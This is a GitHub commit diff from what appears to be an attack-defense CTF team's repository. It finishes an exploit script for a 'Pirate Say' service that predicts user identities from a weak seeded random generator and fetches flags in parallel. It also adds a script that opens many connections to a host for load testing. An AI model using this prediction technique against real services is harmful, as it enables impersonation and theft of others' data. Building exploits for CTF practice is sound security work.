Skip to content

Commit

Permalink
finish bambixploit_exploit2.py and add traffic.py to simulate traffic…
Browse files Browse the repository at this point in the history
… load
  • Loading branch information
ignisco committed Jul 19, 2024
1 parent 546c8c7 commit 6235617
Show file tree
Hide file tree
Showing 6 changed files with 124 additions and 414 deletions.
180 changes: 120 additions & 60 deletions debug/bambixploit_exploit2.py
Original file line number Diff line number Diff line change
Expand Up @@ -13,10 +13,14 @@
import time
import traceback
from concurrent.futures import ThreadPoolExecutor
from typing import Optional
from threading import Semaphore
from typing import List, Optional

import requests

# Initialize the exploit2.info semaphore with a value of 1
file_semaphore = Semaphore(1)

directories = [
"BlackbeardCove",
"TreasureIsland",
Expand Down Expand Up @@ -64,17 +68,22 @@
NUM_NOUNS = len(pirate_nouns)
IDENTITY_LENGTH = 64

# Load the C standard library
libc = ctypes.CDLL(None)
# Linear Congruential Generator parameters
A = 1103515245
C = 12345
M = 2147483648 # 2^31

def lcgrand(seed):
return (A * seed + C) % M

# Set argument and return types for rand_r
libc.rand_r.argtypes = [ctypes.POINTER(ctypes.c_uint)]
libc.rand_r.restype = ctypes.c_int
def generate_identity_string(seed):
current_seed = seed # Initialize the current seed
identity_string = ''
for _ in range(IDENTITY_LENGTH):
current_seed = lcgrand(current_seed) # Update the seed
identity_string += chr(ord('a') + (current_seed % 26))
return identity_string, current_seed # Return both the identity string and the final seed

def generate_identity_string(state):
state_ptr = ctypes.c_uint(state)
identity_string = ''.join(chr(ord('a') + (libc.rand_r(ctypes.byref(state_ptr)) % 26)) for _ in range(IDENTITY_LENGTH))
return identity_string, state_ptr.value

def get_unix_time_from_string(date_string):
# Format of date_string: "2024-07-15 11:35:24"
Expand All @@ -96,19 +105,19 @@ def get_noun_from_identity(identity_string):
index = (hash >> 16) % NUM_NOUNS # Shift to get a different part of the hash
return pirate_nouns[index]

# Receive the initial server message
def recv_until_prompt(prompt, s):
data = b''
while not data.endswith(prompt):
data += s.recv(1024)
return data

# Establish a single connection to get the seed and current identity
def get_seed_and_current_identity(host, port):
def get_seed(host, port):
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((host, port))

# Receive the initial server message
def recv_until_prompt(prompt):
data = b''
while not data.endswith(prompt):
data += s.recv(1024)
return data

initial_message = recv_until_prompt(b'$ ').decode()
initial_message = recv_until_prompt(b'$ ', s).decode()
# Extract the timestamp from the initial message
match = re.search(r'\(Pirate Say v1.0.0, up since (.+?)\)', initial_message)
if match:
Expand All @@ -118,46 +127,81 @@ def recv_until_prompt(prompt):
print("Failed to extract seed from server message")
exit(1)

return seed

# Establish a single connection to get the seed and current identity
def get_current_identity(host, port):
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((host, port))

recv_until_prompt(b'$ ', s)

# Get the current identity
s.sendall(b'identity\n')
identity_response = recv_until_prompt(b': ').decode()
identity_response = recv_until_prompt(b': ', s).decode()
s.sendall(b'\n') # Keeping current identity
recv_until_prompt(b'$ ')
recv_until_prompt(b'$ ', s)
current_identity = identity_response.split("\n")[0].split(":")[1].strip()

return seed, current_identity
return current_identity

# Get identity strings with same name as target file
def get_matching_identites(seed, current_identity, target_file):
# Get potential identities between seed and current identity
def get_potential_identites(seed, current_identity):

# Generate all potential identities up to the current one
seed = 491621266
for i in range(10000000):
identity, seed = generate_identity_string(seed)
if i % 10000 == 0:
print(f"Generated {i} identities")
print("Current seed:", seed)
print("Next is then identity:", identity)

print("Finished generating identities")
potential_identities = []
iteration = 0
N = 30000
i = 0
seeds = [seed]
while True:
identity_string = generate_identity_string()
identity_string, seed = generate_identity_string(seed)
potential_identities.append(identity_string)
i += 1
if i % N == 0:
print(f"Checked {i} identities without finding a match, potential later exploit2.info")
seeds.append(seed)

if identity_string == current_identity:
print (f"Current identity has offset {i} from starting seed")
break

# Store the new seed, as all future flags in attack_info for upcoming rounds will be later identities
# Acquire the semaphore before accessing the file
if len(seeds) > 1:
file_semaphore.acquire()
try:
# Read the existing JSON content
with open("exploit2.info", "r") as f:
data = json.load(f)

# Modify the [TARGET] part (if it is a new value)
if data[TARGET] != str(seeds[-2]):
data[TARGET] = str(seeds[-2])
seed_offset = (len(seeds) - 2) * N
print (f"Updated seed for {TARGET}: {seeds[-2]}; Offset: {seed_offset} ({i - seed_offset} behind current)")

# Write the updated content back to the file
with open("exploit2.info", "w") as f:
json.dump(data, f, indent=4)
finally:
# Release the semaphore after the file operations are complete
file_semaphore.release()

return potential_identities

def get_matching_identites(potential_identities, target_file):

# Extract the name from the target_file
target_name = target_file.split('_')[0] + '_' + target_file.split('_')[1]
target_name = target_file.split('_found_shipwreck')[0]
target_name = target_name.split('(')[0] # TODO: remove when time is removed

# Filter to get those that match the target name
matching_identities = []
for identity in potential_identities:
adj = get_adjective_from_identity(identity)
noun = get_noun_from_identity(identity)
scammer_name = f"{adj}_{noun}".lower()
if target_name in scammer_name:
scammer_name = f"{adj}{noun}"
scammer_name = re.sub(r'(?<=[a-z])(?=[A-Z])', '_', scammer_name).lower()
if scammer_name in target_name:
matching_identities.append(identity)

return matching_identities
Expand Down Expand Up @@ -190,41 +234,57 @@ def recv_until_prompt(prompt):
ATTACK_INFO_TARGET = sys.argv[1] # The target's ip address is passed as an command line argument
PORT = 4444

def exploit(hint: Optional[str], flag_store: Optional[int]):
print(f'Attacking {TARGET} (flag_store={flag_store}, hint={hint})')

# TODO implement exploit
print("Starting")
def exploit(hint: Optional[str], flag_store: Optional[int], seed, round_nr, potential_identities: List[str]):
print(f'Attacking {TARGET} (flag_store={flag_store}, round_nr={round_nr}, seed={seed})')

private_dir, private_file = hint.split('/')

seed, current_identity = get_seed_and_current_identity(TARGET, PORT)
print("Finished getting seed and current identity")
print(f"Seed: {seed}, Current Identity: {current_identity}")
matching_identities = get_matching_identites(seed, current_identity, private_file)
matching_identities = get_matching_identites(potential_identities, private_file)

# In case a service is running for the entire duration of the CTF,
# we will only look at the last 1000 identities
matching_identities = matching_identities[-1000:]

print("Finished finding matches")


responses = []
for identity in matching_identities:
resp = process_identity(identity, private_file, private_dir, TARGET, PORT)
responses.append(resp)
print(f"Found {len(matching_identities)} matching identities for {private_file}")

# # Use ThreadPoolExecutor to parallelize the process_identity function
# with ThreadPoolExecutor() as executor:
# responses = executor.map(lambda identity: process_identity(identity, private_file, private_dir, TARGET, PORT), matching_identities)
# Use ThreadPoolExecutor to parallelize the process_identity function
with ThreadPoolExecutor() as executor:
responses = executor.map(lambda identity: process_identity(identity, private_file, private_dir, TARGET, PORT), matching_identities)

# Iterate over the responses to find the flag
# TODO: finish debugging this!
for response in responses:
if "Protected with identity hash" in response.decode():
flag = response.decode().split('Scammer ID: ')[1].split('\n')[0]
print(flag)
return



# This is done for every connection to a TARGET in common for all the actual files

# Prepare the exploit
# If there is a exploit2.info file, we will use that for the starting seeds instead.
# It stores in json format the target addresses and their starting seeds.


# 1. Get the current seed and identity
seed = None
try:
with open("exploit2.info", "r") as f:
exploit2_info = json.load(f)
for target in exploit2_info:
if target == TARGET:
seed = int(exploit2_info[target])
except:
seed = get_seed(TARGET, PORT)
# If exploit2.info does not exist, we will create it
with open("exploit2.info", "w") as f:
json.dump({TARGET: str(seed)}, f, indent=4)

current_identity = get_current_identity(TARGET, PORT)

# 2. Generate potential identities between the seed up until the current identity
potential_identities = get_potential_identites(seed, current_identity)

# Some CTFs publish information ('flag hints') which help you getting individual flags (e.g. the usernames of users that deposited flags).
# Bambi CTF / ENOWARS flag hints:
Expand All @@ -239,7 +299,7 @@ def exploit(hint: Optional[str], flag_store: Optional[int]):
store_info = round_info[flag_store]
for flag_info in store_info:
# flag_info will always be a string, which you might have to parse with json.loads
t = threading.Thread(target=exploit, args=(flag_info, flag_store))
t = threading.Thread(target=exploit, args=(flag_info, flag_store, seed, round_nr, potential_identities))
t.start()
threads.append(t)
for thread in threads:
Expand Down
95 changes: 0 additions & 95 deletions debug/bambixploit_state_getter.py

This file was deleted.

6 changes: 4 additions & 2 deletions service/src/c.py → debug/traffic.py
Original file line number Diff line number Diff line change
@@ -1,10 +1,12 @@
import socket
import sys
from concurrent.futures import ThreadPoolExecutor

host = "localhost"
host = sys.argv[1]
connection_count = int(sys.argv[2])
port = 4444

matching_identities = [i for i in range(0, 100000)]
matching_identities = [i for i in range(0, connection_count)]

def connect(identity):
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
Expand Down
1 change: 0 additions & 1 deletion service/src/NUL

This file was deleted.

Loading

0 comments on commit 6235617

Please sign in to comment.